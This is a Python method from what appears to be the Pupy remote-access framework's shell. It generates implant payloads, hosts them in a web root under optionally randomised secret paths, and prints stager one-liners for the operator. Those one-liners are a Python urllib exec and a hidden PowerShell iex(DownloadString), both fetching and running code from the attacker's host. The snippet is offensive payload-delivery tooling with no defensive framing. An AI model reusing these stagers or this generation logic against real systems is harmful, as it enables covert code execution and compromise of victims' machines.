'Generate payload with pupygen.py'

def do_gen(self, arg):

    arg_parser = pupygen.get_parser(PupyArgumentParser, config=self.config)
    try:
        args = arg_parser.parse_args(shlex.split(arg))
    except (pupygen.InvalidOptions, PupyModuleExit):
        return
    if self.pupsrv.httpd:
        wwwroot = self.config.get_folder('wwwroot')
        if (not args.output_dir):
            args.output_dir = wwwroot
    try:
        output = pupygen.pupygen(args, config=self.config)
    except Exception as e:
        self.display_error('payload    generation    failed:    {}'.format(e))
        return
    if (not output):
        self.display_error('payload    generation    failed')
        return
    if (self.pupsrv.httpd and output.startswith(wwwroot)):
        wwwpath = os.path.relpath(output, wwwroot)
        if self.config.getboolean('httpd', 'secret'):
            wwwpath = '/'.join(([self.config.get('randoms', 'wwwsecret', random=5)] + [self.config.set('randoms', None, x, random=5) for x in wwwpath.split('/')]))
        self.display_success('WWW    URI    PATH:    /{}'.format(wwwpath))
        host = '<host:port>'
        try:
            for i in range(0, len(args.launcher_args)):
                if (args.launcher_args[i] == '--host'):
                    host = args.launcher_args[(i + 1)]
                    break
        except:
            pass
        if (args.format == 'py'):
            self.display_success('ONELINER:    python    -c    \'import    urllib;exec    urllib.urlopen("http://{}/{}").read()\''.format(host, wwwpath))
        elif (args.format == 'ps1'):
            self.display_success('ONELINER:    powershell.exe    -w    hidden    -noni    -nop    -c    "iex(New-Object    System.Net.WebClient).DownloadString(\'http://{}/{}\')"'.format(host, wwwpath))
